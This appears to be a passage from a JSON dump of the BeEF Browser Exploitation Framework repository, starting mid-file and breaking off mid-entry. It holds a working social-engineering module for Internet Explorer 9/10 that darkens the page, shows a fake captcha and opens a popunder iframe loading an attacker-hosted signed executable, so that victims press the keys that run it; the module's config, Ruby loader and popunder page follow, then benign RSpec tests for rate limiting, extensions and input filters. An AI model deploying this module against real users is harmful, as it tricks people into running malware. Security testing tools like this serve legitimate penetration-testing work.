OaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k=\";\n               break;\n           case \"it\":\n               lang = \"it\";\n               captcha_message = \"<h2>I nostri sistemi hanno rilevato traffico inusuale proveniente dal tuo computer.</h2><br><h3> Per continuare, risolvi il seguente Captcha <b>dopo aver premuto il tasto [TAB]</b>:</h3>\";\n               tab_message = \"Devi prima premere il tasto [TAB], poi risolvere il Captcha.\";\n               captcha_src = \"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAMBAQEAAAAAAAAAAAAAAAMEBQIBBv/EADAQAAEEAgAEBQIFBQEAAAAAAAABAgMEBREGEhMhIjEyQVEVcRRCUmGRIzNygbHh/9oACAEBAAA/APrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ1/M06M7YJFc6VfysbtUJoMlVnc1rZOVzvJr05VX+S2ARyzxRJuSRrfupHDeqzqqRTMe5PZF7mYnEUS5BlV1aVnO7l5nJpBlbuWrSPfXrxvgZ35lXupdxuQ+oY9LEbU6mu7d+5Rk4iZVldFfrSQPTy90cd1eJKM/q54k/U5vb+TWjljkjSRj0cxfdFOmua70uRfsp6AAAAAAAAAAAD5WJ15vEtrUMDp3RtVEf22iInkpLnLVmWk6ObFzNkTuyRjkcjVT32hAzI37ENOm6dKr3xq6SV/ZdIqohesMq16jl+sSdVE2jlm33+xVpZ2w7ETSyKjnsdyNevbf7ndCSnGnVk6l2y7uumqqJ+xGlG1bzMVlldtRiLtUVe7k+x1xLPHFkqTV01WrzK49zHEUa13QU2rM9W6VyJ2QqcKZKOs2SGdHorl2nh7HHEeRqXLlbpuR7GO8e2mtemxq4R6MWJGqzwp77IuDZurjXxOXfK5eyr7EeUh/AZOslKZ7HSv8TN7Q1MrNkK0aTVum5jW7cjjvC5F2RqdZ8fIqLpfgiuZ+nVn6CK6WT9MabKbuKq8cyRy15Wb/AFIT5fMLDFHFRb1LMyba1PZPkxbbs9j4Uu2LOvFrp7PqsZZdboRTvbyue3aoWgAAAAAAACnex8dtWybWOeP+3K1dK3/wz5mcRORImPqonksqea/6IMji5o71a+sP41GsRk7NJt3b1IhxNfwqR8tXHNmsL2SJIdKi/v2LF3FT3sPExGRwTtXn6bU037HcMuYZGldlCFjkTXU5/CW6GOdBIs9mZZ7DvdfJPshPbx9W4qLYha9U8lU9hpVYG8sUDGovwhI2vCz0xMT7IROx9N67dXjVf8StdwdG41EfHy6TScvbRHicHFi5nvile5HflXyMfIPsUs++3NXfOzXgRE8infz9zIyJT5Urseunb8zUzE30jCw1qrkRZO3Mn/Szg6VGjTbZfLG+R6bdI5TOkTG3shPa5JZmRNVyuX09iviM1TgtSzzxPdM9dN5U3pPhDSsQ2+IJmc8Tq1Ni78fqcfRRRtiibGxNNamkOgAAAAAAAAAeI1qLtGpv50egAAAHioi+aIpRs4ahal6s1dqv+U7HGTw1bIwMiftnJ6Vb7FKtwpUid/Vmlmank1V0hsx1K8UHQZCxsfu1E7KRw46lA7mirRtd8o0tAAAAAAAAAAAAAAAAAAAAAAAAAAAAH//Z\";\n               break;\n           default:\n               // defaults to english\n               lang = \"en\";\n               captcha_message = \"<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after pressing the [TAB] key:</h3>\";\n               tab_message = \"You must press the [TAB] key first, then solve the Captcha.\";\n               captcha_src = \"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TWOaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k=\";\n               break;\n        }\n\n        var grayOut = function(vis, options) {\n            var options = options || {};\n            var zindex = options.zindex || 50;\n            var opacity = options.opacity || 70;\n            var opaque = (opacity / 100);\n            var bgcolor = options.bgcolor || '#000000';\n            var dark=document.getElementById('darkenScreenObject');\n            if (!dark) {\n                var tbody = document.getElementsByTagName(\"body\")[0];\n                var tnode = document.createElement('div');\n                tnode.style.position='absolute';\n                tnode.style.top='0px';\n                tnode.style.left='0px';\n                tnode.style.overflow='hidden';\n                tnode.style.display='none';\n                tnode.id='darkenScreenObject';\n                tbody.appendChild(tnode);\n                dark=document.getElementById('darkenScreenObject');\n            }\n            if (vis) {\n                var pageWidth='100%';\n                var pageHeight='100%';\n                dark.style.opacity=opaque;\n                dark.style.MozOpacity=opaque;\n                dark.style.filter='alpha(opacity='+opacity+')';\n                dark.style.zIndex=zindex;\n                dark.style.backgroundColor=bgcolor;\n                dark.style.width= pageWidth;\n                dark.style.height= pageHeight;\n                dark.style.display='block';\n            } else {\n                dark.style.display='none';\n            }\n        };\n\n        function spawnPopunder(){\n            var url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/underpop.html'\n            var pu = window.open(url,'','top=0, left=0,width=500,height=500');\n            pu.blur();\n        }\n\n        // The keypress focus is on the popunder, but the following would be nice to have to force the victim to press TAB\n//        var tab_pressed = false;\n//        function checkTabPressed(){\n//            beef.debug(event.keyCode);\n//            if(tab_pressed && event.keyCode != 9){\n//                // all good\n//            }else if(event.keyCode == 9){\n//                tab_pressed = true;\n//            }else{\n//                alert(tab_message);\n//            }\n//        }\n\n        if(beef.browser.isIE9() || beef.browser.isIE10()){\n            document.body.onclick = function(){\n                spawnPopunder();\n\n                grayOut(true,{'opacity':'70'});\n\n                var fake_captcha = document.createElement('div');\n                fake_captcha.setAttribute('id', 'popup');\n                fake_captcha.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\\'Arial\\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');\n                fake_captcha.setAttribute('align', 'center');\n                // using onkeydown because onkeypress is not capturing TAB in IE\n                //fake_captcha.onkeydown = function(){checkTabPressed();};\n                document.body.appendChild(fake_captcha);\n                fake_captcha.innerHTML= '<br>' + captcha_message + '<table border=\\'0\\'><tr><td><img src=\"' + blink_src + '\"></td><tr><td><img src=\"' + captcha_src + '\"></td></tr></table>';\n\n            };\n        }else{\n           // unsupported IE version\n        }\n    }\n});\n\n"
  },
  {
    "path": "modules/social_engineering/ui_abuse_ie/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ui_abuse_ie:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"User Interface Abuse (IE 9/10)\"\n            description: \"This module is based on Rosario Valotta research (https://sites.google.com/site/tentacoloviola/).<br> The executable to be run needs to be signed (best thing is signing it with Symantec EV-SSL) and me served same-origin from BeEF. You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt.<br>  The victim is tricked to press [TAB]+R (IE 9) or simply R (IE 10), which are keyboard shortcuts for the modeless dialog option 'Run'. Depending on the browser language, the modeless dialog shortcuts are different. For example, R for English, E for Italian. In order to achieve such behavior, a fake captcha is displayed.\"\n            authors: [\"Rosario Valotta\", \"antisnatchor\"]\n            target:\n                working: [\"IE\"]\n                not_working: [\"ALL\"]"
  },
  {
    "path": "modules/social_engineering/ui_abuse_ie/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n################################################################################\n# Based on the PoC by Rosario Valotta\n# Ported to BeEF by antisnatchor\n# For more information see: https://sites.google.com/site/tentacoloviola/\n################################################################################\nclass Ui_abuse_ie < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'exe_url', 'ui_label' => 'Executable URL (MUST be signed)', 'value' => 'http://beef_server:beef_port/yourdropper.exe' }\n    ]\n  end\n\n  def pre_send\n    @datastore.each do |input|\n      @exe_url = input['value'] if input['name'] == 'exe_url'\n    end\n\n    popunder = File.read(\"#{$root_dir}/modules/social_engineering/ui_abuse_ie/popunder.html\")\n    body = popunder.gsub('__URL_PLACEHOLDER__', @exe_url)\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', { 'Content-Type' => 'text/html' }, body, '/underpop.html', -1)\n  rescue StandardError => e\n    print_error \"Something went wrong executing Ui_abuse_ie::pre_send, exception: #{e.message}\"\n  end\n\n  def post_execute\n    content = {}\n    content['results'] = @datastore['results']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/ui_abuse_ie/popunder.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n <meta charset=\"utf-8\" />\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=EmulateIE7\" />\n</head>\n<body style=\"height: 1000px\" >\n<iframe id=\"xu\" width=\"100\" height=\"100\"></iframe>\n<script type=\"text/javascript\">\n document.getElementById(\"xu\").src=\"__URL_PLACEHOLDER__\";\n</script>    \n</body>\n</html>"
  },
  {
    "path": "package.json",
    "content": "{\n    \"name\": \"BeEF\",\n    \"version\": \"0.6.0.0\",\n    \"description\": \"The Browser Exploitation Framework Project\",\n    \"scripts\": {\n        \"docs\": \"./node_modules/.bin/jsdoc -c conf.json\"\n    },\n    \"author\": \"Wade Alcorn\",\n    \"license\": \"GNU General Public License v2.0\",\n    \"devDependencies\": {\n        \"jsdoc\": \"^4.0.5\",\n        \"jsdoc-to-markdown\": \"^9.1.3\"\n    },\n    \"dependencies\": {}\n}"
  },
  {
    "path": "spec/beef/api/auth_rate_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF API Rate Limit', run_on_long_tests: true  do\n\n\tbefore(:each) do\n        @pid = start_beef_server_and_wait\n        @username = @config.get('beef.credentials.user')\n        @password = @config.get('beef.credentials.passwd')\n\tend\n\n\tafter(:each) do\n\t\t# Shutting down server\n        Process.kill(\"KILL\", @pid) unless @pid.nil?\n        Process.wait(@pid) unless @pid.nil? # Ensure the process has exited and the port is released \n        @pid = nil\n\tend\n\n    it 'confirm correct creds are successful' do\n        test_api = BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, @password) \n        expect(@config.get('beef.credentials.user')).to eq('beef')\n        expect(@config.get('beef.credentials.passwd')).to eq('beef')\n        expect(test_api.auth()[:payload]).not_to eql(\"401 Unauthorized\") \n        expect(test_api.auth()[:payload][\"success\"]).to be(true) # valid pass should succeed\n    end\n    \n    it 'confirm incorrect creds are unsuccessful' do\n        sleep 0.5\n        test_api = BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, \"wrong_passowrd\") \n        expect(test_api.auth()[:payload]).to eql(\"401 Unauthorized\") # all (unless the valid is first 1 in 10 chance)\n    end\n    \n    it 'adheres to 9 bad passwords then 1 correct auth rate limits' do\n        # create api structures with bad passwords and one good\n\t\tpasswds = (1..9).map { |i| \"bad_password\"} # incorrect password\n\t\tpasswds.push @password # correct password\n\t\tapis = passwds.map { |pswd| BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, pswd) }\n\n        (0..apis.length-1).each do |i|\n            test_api = apis[i]\n            expect(test_api.auth()[:payload]).to eql(\"401 Unauthorized\") # all (unless the valid is first 1 in 10 chance)\n        end\n    end\n    \n    it 'adheres to random bad passords and 1 correct auth rate limits' do\n        # create api structures with bad passwords and one good\n\t\tpasswds = (1..9).map { |i| \"bad_password\"} # incorrect password\n\t\tpasswds.push @password # correct password\n\t\tapis = passwds.map { |pswd| BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, pswd) }\n\n        apis.shuffle! # random order for next iteration\n        apis = apis.reverse if (apis[0].is_pass?(@password)) # prevent the first from having valid passwd\n\n        (0..apis.length-1).each do |i|\n            test_api = apis[i]\n            if (test_api.is_pass?(@password))\n                sleep 0.5\n                expect(@config.get('beef.credentials.user')).to eq('beef')\n                expect(@config.get('beef.credentials.passwd')).to eq('beef')\n                expect(test_api.auth()[:payload]).not_to eql(\"401 Unauthorized\") \n                expect(test_api.auth()[:payload][\"success\"]).to be(true) # valid pass should succeed\n            else\n                expect(test_api.auth()[:payload]).to eql(\"401 Unauthorized\")\n            end\n        end\n    end    \n \nend\n"
  },
  {
    "path": "spec/beef/core/extension_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Extension do\n  let(:config) { BeEF::Core::Configuration.instance }\n\n  describe '.is_present' do\n    it 'returns true when extension exists in configuration' do\n      allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} })\n      expect(described_class.is_present('test_ext')).to be true\n    end\n\n    it 'returns false when extension does not exist' do\n      allow(config).to receive(:get).with('beef.extension').and_return({})\n      expect(described_class.is_present('nonexistent')).to be false\n    end\n\n    it 'converts extension key to string' do\n      allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} })\n      expect(described_class.is_present(:test_ext)).to be true\n    end\n  end\n\n  describe '.is_enabled' do\n    it 'returns true when extension is present and enabled' do\n      allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} })\n      allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(true)\n      expect(described_class.is_enabled('test_ext')).to be true\n    end\n\n    it 'returns false when extension is not present' do\n      allow(config).to receive(:get).with('beef.extension').and_return({})\n      expect(described_class.is_enabled('nonexistent')).to be false\n    end\n\n    it 'returns false when extension is disabled' do\n      allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} })\n      allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(false)\n      expect(described_class.is_enabled('test_ext')).to be false\n    end\n  end\n\n  describe '.is_loaded' do\n    it 'returns true when extension is enabled and loaded' do\n      allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} })\n      allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.extension.test_ext.loaded').and_return(true)\n      expect(described_class.is_loaded('test_ext')).to be true\n    end\n\n    it 'returns false when extension is not enabled' do\n      allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} })\n      allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(false)\n      expect(described_class.is_loaded('test_ext')).to be false\n    end\n\n    it 'returns false when extension is not loaded' do\n      allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} })\n      allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.extension.test_ext.loaded').and_return(false)\n      expect(described_class.is_loaded('test_ext')).to be false\n    end\n  end\n\n  describe '.load' do\n    it 'returns true when extension file exists' do\n      ext_path = \"#{$root_dir}/extensions/test_ext/extension.rb\"\n      allow(File).to receive(:exist?).with(ext_path).and_return(true)\n      allow(config).to receive(:set).with('beef.extension.test_ext.loaded', true).and_return(true)\n      # Stub require on the module itself since it's called directly\n      allow(described_class).to receive(:require).with(ext_path)\n      expect(described_class.load('test_ext')).to be true\n    end\n\n    it 'returns false when extension file does not exist' do\n      ext_path = \"#{$root_dir}/extensions/test_ext/extension.rb\"\n      allow(File).to receive(:exist?).with(ext_path).and_return(false)\n      expect(described_class.load('test_ext')).to be false\n    end\n\n    it 'sets loaded flag to true when successfully loaded' do\n      ext_path = \"#{$root_dir}/extensions/test_ext/extension.rb\"\n      allow(File).to receive(:exist?).with(ext_path).and_return(true)\n      allow(described_class).to receive(:require).with(ext_path)\n      expect(config).to receive(:set).with('beef.extension.test_ext.loaded', true).and_return(true)\n      described_class.load('test_ext')\n    end\n\n    it 'handles errors during loading gracefully' do\n      ext_path = \"#{$root_dir}/extensions/test_ext/extension.rb\"\n      allow(File).to receive(:exist?).with(ext_path).and_return(true)\n      allow(described_class).to receive(:require).with(ext_path).and_raise(StandardError.new('Load error'))\n      # The rescue block calls print_more which may return a value, so just verify it doesn't raise\n      expect { described_class.load('test_ext') }.not_to raise_error\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/extensions_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF Extensions' do\n\n  it 'loaded successfully' do\n    expect {\n      BeEF::Extensions.load\n    }.to_not raise_error\n\n    exts = BeEF::Core::Configuration.instance.get('beef.extension').select{|k,v|\n      v['enable']\n    }\n    expect(exts.length).to be > 0\n\n    exts.each do |k,v|\n      expect(v).to have_key('name')\n      expect(v).to have_key('enable')\n      expect(v).to have_key('loaded')\n      expect(v['loaded']).to be(true)\n    end\n\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/core/filter/base_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Filters do\n  describe '.is_non_empty_string?' do\n    it 'nil' do\n      expect(BeEF::Filters.is_non_empty_string?(nil)).to be(false)\n    end\n\n    it 'Integer' do\n      expect(BeEF::Filters.is_non_empty_string?(1)).to be(false)\n    end\n\n    it 'Empty String' do\n      expect(BeEF::Filters.is_non_empty_string?('')).to be(false)\n    end\n\n    it 'null' do\n      expect(BeEF::Filters.is_non_empty_string?(\"\\x00\")).to be(true)\n    end\n\n    it 'First char is num' do\n      expect(BeEF::Filters.is_non_empty_string?('0')).to be(true)\n    end\n\n    it 'First char is alpha' do\n      expect(BeEF::Filters.is_non_empty_string?('A')).to be(true)\n    end\n\n    it 'Four num chars' do\n      expect(BeEF::Filters.is_non_empty_string?('3333')).to be(true)\n    end\n\n    it 'Four num chars begining with alpha' do\n      expect(BeEF::Filters.is_non_empty_string?('A3333')).to be(true)\n    end\n\n    it 'Four num chars begining with null' do\n      expect(BeEF::Filters.is_non_empty_string?(\"\\x003333\")).to be(true)\n    end\n  end\n\n  describe '.only?' do\n    it 'success' do\n      expect(BeEF::Filters.only?('A', 'A')).to be(true)\n    end\n\n    it 'fail' do\n      expect(BeEF::Filters.only?('A', 'B')).to be(false)\n    end\n  end\n\n  describe '.exists?' do\n    it 'success' do\n      expect(BeEF::Filters.exists?('A', 'A')).to be(true)\n    end\n\n    it 'fail' do\n      expect(BeEF::Filters.exists?('A', 'B')).to be(false)\n    end\n  end\n\n  describe '.has_null?' do\n    context 'false with' do\n      it 'general' do\n        chars = [nil, '', \"\\x01\", \"\\xFF\", 'A', 'A3333', '0', '}', '.', '+', '-', '-1', '0.A', '3333', '33 33', ' AAAAA', 'AAAAAA ']\n        chars.each do |c|\n          expect(BeEF::Filters.has_null?(c)).to be(false)\n        end\n      end\n\n      it 'alphabet' do\n        (1..255).each do |c|\n          str = ''\n          str.concat(c)\n          expect(BeEF::Filters.has_null?(str)).to be(false)\n        end\n      end\n    end\n\n    context 'true with' do\n      it 'general' do\n        chars = [\"\\x00\", \"A\\x00\", \"AAAAAA\\x00\", \"\\x00A\", \"\\x00AAAAAAAA\", \"A\\x00A\", \"AAAAA\\x00AAAA\", \"A\\n\\r\\x00\", \"\\x00\\n\\rA\", \"A\\n\\r\\x00\\n\\rA\", \"\\tA\\x00A\"]\n        chars.each do |c|\n          expect(BeEF::Filters.has_null?(c)).to be(true)\n        end\n      end\n\n      it 'alphabet null after' do\n        (1..255).each do |c|\n          str = ''\n          str.concat(c)\n          str += \"\\x00\"\n          expect(BeEF::Filters.has_null?(str)).to be(true)\n        end\n      end\n\n      it 'alphabet null before' do\n        (1..255).each do |c|\n          str = \"\\x00\"\n          str.concat(c)\n          expect(BeEF::Filters.has_null?(str)).to be(true)\n        end\n      end\n    end\n  end\n\n  describe '.has_non_printable_char?' do\n    context 'false with' do\n      it 'general' do\n        chars = [nil, '', 'A', 'A3333', '0', '}', '.', '+', '-', '-1', '0.A', '3333', ' 0AAAAA', ' 0AAA ']\n        chars.each do |c|\n          expect(BeEF::Filters.has_non_printable_char?(c)).to be(false)\n        end\n      end\n\n      it 'lowercase' do\n        ('a'..'z').each do |c|\n          expect(BeEF::Filters.has_non_printable_char?(c)).to be(false)\n        end\n      end\n\n      it 'uppercase' do\n        ('A'..'Z').each do |c|\n          expect(BeEF::Filters.has_non_printable_char?(c)).to be(false)\n        end\n      end\n\n      it 'numbers' do\n        ('0'..'9').each do |c|\n          expect(BeEF::Filters.has_non_printable_char?(c)).to be(false)\n        end\n      end\n    end\n\n    context 'true with' do\n      it 'general' do\n        chars = [\"\\x00\", \"\\x01\", \"\\x02\", \"A\\x03\", \"\\x04A\", \"\\x0033333\", \"\\x00AAAAAA\", \" AAAAA\\x00\", \"\\t\\x00AAAAA\", \"\\n\\x00AAAAA\", \"\\n\\r\\x00AAAAAAAAA\", \"AAAAAAA\\x00AAAAAAA\",\n                 \"\\n\\x00\"]\n        chars.each do |c|\n          expect(BeEF::Filters.has_non_printable_char?(c)).to be(true)\n        end\n      end\n\n      it 'alphabet null before' do\n        (1..255).each do |c|\n          str = ''\n          str.concat(c)\n          str += \"\\x00\"\n          expect(BeEF::Filters.has_non_printable_char?(str)).to be(true)\n        end\n      end\n    end\n  end\n\n  describe '.nums_only?' do\n    it 'false with general' do\n      chars = [nil, 1, '', 'A', 'A3333', \"\\x003333\", '}', '.', '+', '-', '-1']\n      chars.each do |c|\n        expect(BeEF::Filters.nums_only?(c)).to be(false)\n      end\n    end\n\n    it 'true with general' do\n      chars = %w[0 333]\n      chars.each do |c|\n        expect(BeEF::Filters.nums_only?(c)).to be(true)\n      end\n    end\n  end\n\n  describe '.is_valid_float?' do\n    it 'false with general' do\n      chars = [nil, 1, '', 'A', 'A3333', \"\\x003333\", '}', '.', '+', '-', '-1', '0', '333', '0.A']\n      chars.each do |c|\n        expect(BeEF::Filters.is_valid_float?(c)).to be(false)\n      end\n    end\n\n    it 'true with general' do\n      chars = ['33.33', '0.0', '1.0', '0.1']\n      chars.each do |c|\n        expect(BeEF::Filters.is_valid_float?(c)).to be(true)\n      end\n    end\n  end\n\n  describe '.hexs_only?' do\n    it 'false with general' do\n      chars = [nil, 1, '', \"\\x003333\", '}', '.', '+', '-', '-1', '0.A', '33.33', '0.0', '1.0', '0.1']\n      chars.each do |c|\n        expect(BeEF::Filters.hexs_only?(c)).to be(false)\n      end\n    end\n\n    it 'true with general' do\n      chars = %w[0123456789ABCDEFabcdef 0 333 A33333 A]\n      chars.each do |c|\n        expect(BeEF::Filters.hexs_only?(c)).to be(true)\n      end\n    end\n  end\n\n  describe '.first_char_is_num?' do\n    it 'false with general' do\n      chars = ['', 'A', 'A33333', \"\\x0033333\"]\n      chars.each do |c|\n        expect(BeEF::Filters.first_char_is_num?(c)).to be(false)\n      end\n    end\n\n    it 'true with general' do\n      chars = %w[333 0AAAAAA 0]\n      chars.each do |c|\n        expect(BeEF::Filters.first_char_is_num?(c)).to be(true)\n      end\n    end\n  end\n\n  describe '.has_whitespace_char?' do\n    it 'false with general' do\n      chars = ['', 'A', 'A33333', \"\\x0033333\", '0', '}', '.', '+', '-', '-1', '0.A']\n      chars.each do |c|\n        expect(BeEF::Filters.has_whitespace_char?(c)).to be(false)\n      end\n    end\n\n    it 'true with general' do\n      chars = ['33 33', '    ', '                ', ' 0AAAAAAA', ' 0AAAAAAA ', \"\\t0AAAAAAA\", \"\\n0AAAAAAAA\"]\n      chars.each do |c|\n        expect(BeEF::Filters.has_whitespace_char?(c)).to be(true)\n      end\n    end\n  end\n\n  describe '.alphanums_only?' do\n    context 'false with' do\n      it 'general' do\n        chars = [nil, '', \"\\n\", \"\\r\", \"\\x01\", '}', '.', '+', '-', '-1', 'ee-!@$%^&*}=0.A', '33 33', ' AAAA', 'AAA ']\n        chars.each do |c|\n          expect(BeEF::Filters.alphanums_only?(c)).to be(false)\n        end\n      end\n\n      it 'additional nulls' do\n        chars = [\"\\x00\", \"A\\x00\", \"AAAAAAAAA\\x00\", \"\\x00A\", \"\\x00AAAAAAAAA\", \"A\\x00A\", \"AAAAAAAA\\x00AAAAAAAA\", \"A\\n\\r\\x00\", \"\\x00\\n\\rA\", \"A\\n\\r\\x00\\n\\rA\", \"\\tA\\x00A\"]\n        chars.each do |c|\n          expect(BeEF::Filters.alphanums_only?(c)).to be(false)\n        end\n      end\n\n      it 'alphabet null after' do\n        (1..255).each do |c|\n          str = ''\n          str.concat(c)\n          str += \"\\x00\"\n          expect(BeEF::Filters.alphanums_only?(str)).to be(false)\n        end\n      end\n\n      it 'alphabet null before' do\n        (1..255).each do |c|\n          str = \"\\x00\"\n          str.concat(c)\n          expect(BeEF::Filters.alphanums_only?(str)).to be(false)\n        end\n      end\n\n      it 'alphabet around null' do\n        (1..255).each do |c|\n          str = ''\n          str.concat(c)\n          str += \"\\x00\"\n          str.concat(c)\n          expect(BeEF::Filters.alphanums_only?(str)).to be(false)\n        end\n      end\n    end\n\n    context 'true with' do\n      it 'general' do\n        chars = %w[A A3333 0 3333]\n        chars.each do |c|\n          expect(BeEF::Filters.alphanums_only?(c)).to be(true)\n        end\n      end\n\n      it 'uppercase' do\n        ('A'..'Z').each do |c|\n          expect(BeEF::Filters.alphanums_only?(c)).to be(true)\n        end\n      end\n\n      it 'lowercase' do\n        ('a'..'z').each do |c|\n          expect(BeEF::Filters.alphanums_only?(c)).to be(true)\n        end\n      end\n\n      it 'numbers' do\n        ('0'..'9').each do |c|\n          expect(BeEF::Filters.alphanums_only?(c)).to be(true)\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/filter/browser_spec.rb",
